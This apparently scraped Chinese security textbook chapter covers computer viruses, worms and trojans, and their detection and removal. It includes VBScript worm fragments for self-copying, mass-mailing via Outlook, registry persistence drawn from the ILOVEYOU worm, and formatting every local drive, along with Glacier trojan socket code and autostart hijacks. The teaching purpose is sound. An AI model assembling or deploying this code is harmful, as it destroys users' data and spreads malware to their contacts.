《计算机信息安全技术》第4章 计算机病毒与黑客_第1页
《计算机信息安全技术》第4章 计算机病毒与黑客_第2页
《计算机信息安全技术》第4章 计算机病毒与黑客_第3页
《计算机信息安全技术》第4章 计算机病毒与黑客_第4页
《计算机信息安全技术》第4章 计算机病毒与黑客_第5页
已阅读5页,还剩47页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第4章计算机病毒与黑客4.1计算机病毒的概述4.2计算机病毒制作技术4.3计算机杀毒软件制作技术4.4蠕虫病毒分析4.5特洛伊木马4.6计算机病毒与黑客的防范

4.1计算机病毒的概述

4.1.1计算机病毒的定义《中华人民共和国计算机信息系统安全保护条例》对病毒定义表明了计算机病毒就是具有破坏性的计算机程序。4.1.2计算机病毒的特征1.破坏性。2.隐蔽性。3.传染性。

计算机病毒的破坏性、隐蔽性、传染性是计算机病毒的基本特征。4.潜伏性。5.可触发性。6.不可预见性。4.1.3计算机病毒的产生原因1.软件产品的脆弱性是产生计算机病毒根本的技术原因2.社会因素是产生计算机病毒的土壤4.1.4计算机病毒的传播途径

计算机病毒主要是通过复制文件、发送文件、运行程序等操作传播的。通常有以下几种传播途径:1.移动存储设备包括软盘、硬盘、移动硬盘、光盘、磁带等。硬盘是数据的主要存储介质,因此也是计算机病毒感染的主要目标。2.网络目前大多数病毒都是通过网络进行传播的,破坏性很大。4.1.5计算机病毒的分类

我们把计算机病毒大致归结为7种类型。1.引导型病毒。主要通过感染软盘、硬盘上的引导扇区或改写磁盘分区表(FAT)来感染系统。早期的计算机病毒大多数属于这类病毒。2.文件型病毒。它主要是以感染COM、EXE等可执行文件为主,被感染的可执行文件在执行的同时,病毒被加载并向其它正常的可执行文件传染或执行破坏操作。文件型病毒大多数也是常驻内存的。

3.宏病毒。宏病毒是一种寄存于微软Office的文档或模板的宏中的计算机病毒,是利用宏语言编写的。由于Office软件在全球存在着广泛的用户,所以宏病毒的传播十分迅速和广泛。4.蠕虫病毒。蠕虫病毒与一般的计算机病毒不同,它不采用将自身拷贝附加到其它程序中的方式来复制自己,也就是说蠕虫病毒不需要将其自身附着到宿主程序上。蠕虫病毒主要通过网络传播,具有极强的自我复制能力、传播性和破坏性。

5.特洛伊木马型病毒。特洛伊木马型病毒实际上就是黑客程序,一般不对计算机系统进行直接破坏,而是通过网络控制其它计算机,包括窃取秘密信息,占用计算机系统资源等现象。6.网页病毒。网页病毒一般也是使用脚本语言将有害代码直接写在网页上,当浏览网页时会立即破坏本地计算机系统,轻者修改或锁定主页,重者格式化硬盘,使你防不胜防。7.混合型病毒。兼有上述计算机病毒特点的病毒统称为混合型病毒,所以它的破坏性更大,传染的机会也更多,杀毒也更加困难。4.1.6计算机病毒的表现现象

1.平时运行正常的计算机突然经常性无缘无故地死机。2.运行速度明显变慢。3.打印和通讯发生异常。

4.系统文件的时间、日期、大小发生变化。5.磁盘空间迅速减少。6.收到陌生人发来的电子邮件。7.自动链接到一些陌生的网站。

8.计算机不识别硬盘。

9.操作系统无法正常启动。10.部分文档丢失或被破坏。11.网络瘫痪。4.1.7计算机病毒程序一般构成病毒程序一般由三个基本模块组成,即安装模块、传染模块和破坏模块。1.安装模块病毒程序必须通过自身的程序实现自启动并安装到计算机系统中,不同类型的病毒程序会使用不同的安装方法。2.传染模块传染模块包括三部分内容:(1)传染控制部分。病毒一般都有一个控制条件,一旦满足这个条件就开始感染。例如,病毒先判断某个文件是否是.EXE文件,如果是再进行传染,否则再寻找下一个文件;(2)传染判断部分。每个病毒程序都有一个标记,在传染时将判断这个标记,如果磁盘或者文件已经被传染就不再传染,否则就要传染了;

(3)传染操作部分。在满足传染条件时进行传染操作。3.破坏模块计算机病毒的最终目的是进行破坏,其破坏的基本手段就是删除文件或数据。破坏模块包括两部分:一是激发控制,另一个就是破坏操作。对每一个病毒程序来说,安装模块、传染模块是必不可少的,而破坏模块可以直接隐含在传染模块中,也可以单独构成一个模块。

4.2计算机病毒制作技术1.采用自加密技术计算机病毒采用自加密技术就是为了防止被计算机病毒检测程序扫描出来,并被轻易地反汇编。这对分析和破译计算机病毒等工作都增加了很多困难。2.采用变形技术计算机病毒编制者通过修改某种已知计算机病毒的代码,使其能够躲过现有计算机病毒检测程序时,称这种新出现的计算机病毒是原来被修改计算机病毒的变形或变种。

3.采用特殊的隐形技术当计算机病毒采用特殊的隐形技术后,可以在计算机病毒进入内存后,使计算机用户几乎感觉不到它的存在。采用这种“隐形”技术的计算机病毒表现形式见教材。4.对抗计算机病毒防范系统当有某些著名的计算机病毒杀毒软件或在文件中查找到出版这些软件的公司名时,就会删除这些杀毒软件或文件等。

5.反跟踪技术计算机病毒采用反跟踪措施的目的是要提高计算机病毒程序的防破译能力和伪装能力。常规程序使用的反跟踪技术在计算机病毒程序中都可以利用。6.利用中断处理机制病毒设计者篡改中断处理功能为达到传染、激发和破坏等目的。如INT13H是磁盘输入输出中断,引导型病毒就是用它来传染病毒和格式化磁盘的。

4.3计算机杀毒软件制作技术1.特征代码法从病毒程序中抽取一段独一无二、足以代表该病毒特征的二进制程序代码,并将这段代码作为判断该病毒的依据,这就是所谓的病毒特征代码。从各种病毒样本中抽取特征代码,就构成了病毒资料库。显然,病毒资料库中病毒特征代码种类越多,杀毒软件能查出的病毒就越多。

选择病毒特征码要能够反映出该病毒典型特征,如它的破坏、传播和隐藏性代码。由于病毒数据区会经常变化,因此病毒特征代码不要含有病毒的数据区。在保持病毒典型特征唯一性的前提下,抽取的病毒特征代码要长度适当,应尽量使特征代码长度短些,以减少空间与时间开销,使误报警率最低。在检查文件是否含有病毒时,可以先打开被检测文件,在文件中搜索,检查文件中是否含有与病毒数据库中相同的病毒特征代码。如果发现文件中含有病毒特征代码,便可以断定被查文件中患有何种病毒。采用病毒特征代码法的检测工具,必须不断更新病毒资料库,否则检测工具便会过期老化,逐渐失去实用价值。特征代码法的优点是检测准确、快速、可识别病毒的名称,是检测已知病毒的最简单、开销最小的方法。缺点是不能检测未知病毒、变种病毒和隐蔽性病毒(隐蔽性病毒进驻内存后,会自动剥去染毒程序中的病毒代码),需定期更新病毒资料库,具有滞后性。

2.校验和法校验和法是根据文件的内容,计算其校验和,并将所有文件的校验和放在资料库中。检测时将文件现有内容的校验和与资料库中的校验和做比较,若不同则判断为被感染病毒。运用校验和法查病毒可以采用三种方式:

(1)在检测病毒工具中加入校验和法。(2)在应用程序中加入校验和法自我检查功能。

(3)将校验和检查程序常驻内存。

3.行为监测法行为监测法是将病毒中比较特殊的共同行为归纳起来,例如,对文件做写入动作,格式化硬盘动作、修改网页等。当程序运行时监视其行为,若发现类似病毒的行为,立即报警。4.

虚拟机技术

用程序代码虚拟一个CPU、各个寄存器、硬件端口也虚拟出来,调入被调的“样本”,通过内存和寄存器以及端口的变化来了解程序的执行情况。将病毒放到虚拟机中执行,则病毒的传染和破坏等动作一定会被反映出来。

5.主动内核技术

是主动给操作系统和网络系统打了“补丁”,这些补丁将从安全的角度对系统或网络进行管理和检查,对系统的漏洞进行修补,任何文件在进入系统之前,反病毒模块都将首先使用各种手段对文件进行检测处理。6.启发扫描的反病毒技术

是以特定方式实现对有关指令序列的反编译,逐步理解和确定其蕴藏的真正动机。例如,一段程序有:MOVAH,5和INT13h,这段指令之前不存在取得命令行关于执行的参数选项等,可以认为这是一个病毒或恶意破坏的程序。

7.实时反病毒技术实时反病毒是对任何程序在调用之前都被先过滤一遍,一有病毒侵入,它就报警,并自动杀毒,将病毒拒之门外,做到防患于未然。8.邮件病毒防杀技术采用智能邮件客户端代理SMCP技术,该技术具有完善的邮件解码技术,能对邮件的各个部分,进行病毒扫描;清除病毒后能将无毒的邮件数据重新编码,传送给邮件客户端,并且能够更改主题、添加查毒报告附件,具备垃圾邮件处理功能等。

4.4蠕虫病毒分析

蠕虫病毒是目前对计算机威胁最大的网络病毒,蠕虫病毒的特征:1.蠕虫病毒的自我复制能力我们用VB脚本语言编写实现自我复制程序。

SetobjFs=CreateObject(“Scripting.FileSystemObject”)

‘创建一个文件系统对象

objFs.CreateTextFile

(“C:\virus.txt”,1)‘通过文件系统对象的方法创建了一个TXT文件。如果我们把这两句话保存成为.vbs的VB脚本文件,点击鼠标就会在C盘中创建一个TXT文件了。如果我们把第二句改为:objFs.GetFile(WScript.ScriptFullName).Copy(“C:\Virus.vbs”)

就可以实现将自身复制到C盘Virus.vbs这个文件上。2.蠕虫病毒的传播性其VB脚本代码如下:

SetobjOA=Wscript.CreateObject

(“Outlook.Application”)‘创建一个OUTLOOK应用的对象

SetobjMapi=objOA.GetNameSpace

(“MAPI”)‘取得MAPI名字空间

Fori=1toobjMapi.AddressLists.Count‘遍历地址簿

SetobjAddList=objMapi.AddressLists

(i)

Forj=1ToobjAddList.AddressEntries.CountSetobjMail=objOA.CreateItem

(0)objMail.Recipients.Add(objAddList.AddressEntries

(j))‘取得收件人邮件地址

objMail.Subject=“你好!”

‘设置邮件主题

objMail.Body=“这次给你的附件,是我的新文档!”

‘设置信件内容objMail.Attachments.Add(“c:\virus.vbs”)‘把自己作为附件扩散出去

objMail.Send‘发送邮件

NextNext

SetobjMapi=Nothing‘清空objMapi变量,释放资源

SetobjOA=Nothing‘清空objOA变量

3.蠕虫病毒的潜伏性

以下是爱虫病毒中的部分代码:

OnErrorResumeNext‘容错语句,避免程序崩溃

dimwscr,rr

setwscr=CreateObject

("WScript.Shell")‘击活

WScript.Shell对象

rr=wscr.RegRead"HKEY_CURRENT_USER\Software\Microsoft\WindowscriptingHost\Settings\Timeout")‘读入注册表中的超时键值if(rr>=1)then‘超时设置wscr.RegWrite“HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout”,0,“REG_DWORD”endif

下面的一段代码则是修改注册表,使得每次系统启动时自动执行脚本文件。regcreate

“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32“,dirsystem&”\MSKernel32.vbs”regcreate

“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL,“dirwin&”\Win32DLL.vbs”4.蠕虫病毒的触发性

x=time()

ifx=xx.xx.xxthen…………

endif5.蠕虫病毒的破坏性

subkillc

()‘破坏硬盘的过程OnErrorResumeNext‘容错语句,避免程序崩溃dimfs,auto,disc,ds,ss,i,x,dirSetfs=CreateObject(“Scripting.FileSystemObject”)Setauto=fs.CreateTextFile

(“c:\Autoexec.bat”,True)‘建立或修改自动批处理auto.WriteLine

(“@echooff”)‘屏蔽掉删除的进程

auto.WriteLine

(“Smartdrv”)‘加载磁盘缓冲

Setdisc=fs.Drives‘得到磁盘驱动器的集合ForEachdsindiscIfds.DriveType=2Then‘如果磁盘驱动器是本地盘ss=ss&ds.DriveLetter‘就将符号连在一起EndIfNextss=LCase

(StrReverse

(Trim(ss)))‘得到符号串的反向小写形式Fori=1toLen(ss)‘遍历每个磁盘驱动器x=Mid(ss,i,1)

‘读每个磁盘驱动器的符号auto.WriteLine

(“format/autotest/q/u“&x&”:”)‘反向

(从Z:到A:)自动格式化磁盘驱动器nextauto.Close‘关闭批处理文件setdir=fs.GetFile

(“:\Autoexec.bat”)dir.attributes=dir.attributes+2‘将自动批处理文件改为隐藏

4.5特洛伊木马4.5.1黑客程序与特洛伊木马特洛伊木马实际上是一种典型的黑客程序,它是一种基于远程控制的黑客工具,现在已成为黑客程序的代名词。将黑客程序形容为特洛伊木马就是要体现黑客程序的隐蔽性和欺骗性。比较著名的木马程序有BackOrifice(BO)、Netspy(网络精灵)、Glacier(冰河)、广外女生等,这些木马程序大多可以在网上下载下来直接使用。4.5.2木马的基本原理木马本质上只是一个网络客户/服务程序(Client/Server),一般有两个部分组成:一个是服务端程序,另一个是客户端程序。以冰河程序为例,在VB中,可以使用WinSock控件来编写网络客户服务程序,实现方法如下:服务端:

G_Server.LocalPort=7626(冰河的默认端口,可以改为别的值)

G_Server.Listen(等待连接)客户端:

G_Client.RemoteHost=ServerIP(设远端地址为服务器地址)

G_Client.RemotePort=7626(设远程端口为冰河的默认端口)

G_Client.Connect(调用Winsock控件的连接方法)其中,G_Server和G_Client均为Winsock控件。一旦服务端接到客户端的连接请求ConnectionRequest,就接受连接。

PrivateSubG_serverconnectionRequestG_Server.AcceptreauestID

EndSub客户机端用G_Client.SendData发送命令,而服务器在G_ServerDateArrive事件中接受并执行命令(几乎所有的木马功能都在这个事件处理程序中实现)。如果客户断开连接,则关闭连接并重新监听端口。

PrivateSubG_ServerClose()G_Server.Close(关闭连接)

G_Server.Listen(再次监听)

EndSub

4.5.3特洛伊木马的启动方式

首先黑客将木马程序捆绑在一些常用的软件上,甚至在你浏览网页的时候,将木马悄悄安装到你的计算机中。将一个程序捆绑到另一个程序可以通过自己编写程序来实现,也可以从网上下载类似DAMS文件捆绑器来实现。在Windows系统中,黑客实现程序自启动的方法很多,常见的方法有:1.修改系统配置文件通过修改系统配置文件System.ini、Win.ini来实现木马的自启动。

Win.ini有两个数据项“load=”和“run=”,如果木马需要在系统启动后运行一个程序,只要在“load=”和“run=”后添加该程序的程序名就可以了。2.修改注册表修改注册表是木马最常用的攻击和入侵手段,在注册表中有一名称为:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run*的键。如果想让程序在系统启动的过程中启动该程序,就可以向该目录添加一个子项。

黑客比较喜欢在带“Once”的主键中作手脚,因为带“Once”的主键中的键值在程序运行后将被删除。这样,当用户使用注册表修改程序查看时不会发现。3.通过文件关联启动例如,通过.exe文件关联exefile,将注册表中HKEYCLASSESROOT\exefile下的shell\open\command的默认““%1”%*”改成“x:\xxx\bsy.exe”(木马程序的路径),让系统在执行.exe程序时就自动运行木马程序bsy.exe。通常修改的还有.txt文件关联txtfile,只要读取.txt文本文件就执行木马程序等。

4.利用Autorun.inf文件自动运行功能例如在E盘根目录下新建一个Autorun.inf文件,用记事本打开它,输入如下内容:[autorun]open=Notepad.exe

保存后重新启动,进入“我的电脑”,然后双击E盘盘符,记事本被打开了,而E盘却没有打开。

5.利用对动态连接库(DLL)的调用黑客可以将木马程序捆绑到DLL上(如kernel32.dll),当用户使用API函数时,黑客就会先启动木马程序,然后再调用真正的函数完成API函数功能。

4.5.4特洛伊木马端口

黑客所使用的客户端程序就可以进入木马打开的端口和木马进行通信。

每种木马所打开的端口不同,根据端口号可以识别不同的木马。大多数木马使用的端口号在1024以上。4.5.5特洛伊木马的隐藏木马为了更好地隐藏自己,通常会将自己的位置放在c:\windows和c:\windows\system32等系统目录中。木马的服务程序命名也很狡猾,通常使用和系统文件相似的文件名。

如果黑客把木马程序取名为“*.exe”,其中*是中文的全角空格,我们看到木马程序将是一个无文件名的文件。有的木马具有很强的潜伏能力,表面上的木马程序被发现并被删除后,后备的木马在一定的条件下会恢复被删除的木马。

4.5.6特洛伊木马分类

1.主动型木马

主动型木马原理图

2.反弹型木马

反弹型木马原理图

黑客将安放在内部网络的反弹木马定时地连接外部攻击的主机,由于连接是从内部发起的,防火墙无法区分是木马的连接还是合法的连接。

3.嵌入式木马嵌入式木马是黑客将木马程序嵌入到己知的网络通信程序中(如IE浏览器、操作系统等),利用己知的网络通信程序来转发木马控制指令,躲过防火墙检测。4.5.7特洛伊木马查杀

木马的查杀可以采用自动和手动两种方式。最简单的删除木马方法是安装杀毒软件或一些专杀木马的软件。由于杀毒软件的升级要慢于木马的出现,因此学会手工查杀也是非常必要。在手工删除木马之前,最重要的一项工作是备份注册表,防止系统崩溃,备份你认为是木马的文件。如果不是木马就可以恢复,如果是木马就可以对木马进行分析。

1.查看注册表

在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion和HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以“Run”开头的键值名有没有可疑的文件名。

2.检查启动组启动组对应的文件夹为:C:windows\startmenu\programs\startup,要经常检查启动组中是否有异常的文件。

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论